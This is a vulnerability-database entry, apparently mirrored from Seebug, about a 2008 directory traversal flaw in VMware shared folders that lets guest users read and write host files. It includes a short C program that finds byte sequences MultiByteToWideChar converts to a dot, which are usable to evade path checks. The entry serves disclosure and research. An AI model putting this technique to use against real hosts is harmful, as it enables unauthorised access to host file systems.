Lucene search
+L

VMware产品共享文件夹MultiByteToWideChar()变量目录遍历漏洞

🗓️ 27 Feb 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 55 Views

VMware产品共享文件夹MultiByteToWideChar()变量目录遍历漏洞,允许Guest系统的用户读写Host文件系统,临时解决方法包括禁用共享文件夹功

Related
Code

                                                /-----------

// mbtwc.c
#include <windows.h>;
int main(int argv, char *argc[]) {
~   unsigned int i, ans;
~   unsigned char buf[200];
~   for (i=1;i;i++) {
~     memset(buf, 0, 200);
~     ans = MultiByteToWideChar(CP_UTF8, 8, &i, 4, buf, 100);
~     // 8 = MB_ERR_INVALID_CHARS
~     if (ans && (buf[0] == '.') &&   (buf[1] == 0) &&
~        ((i & 0xff) != '.'))
~       printf("%d %04x: %02x %02x %02x %02x\n", ans, i,
~             buf[0], buf[1], buf[2], buf[3]);
   }
~ }
- -----------/ 
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation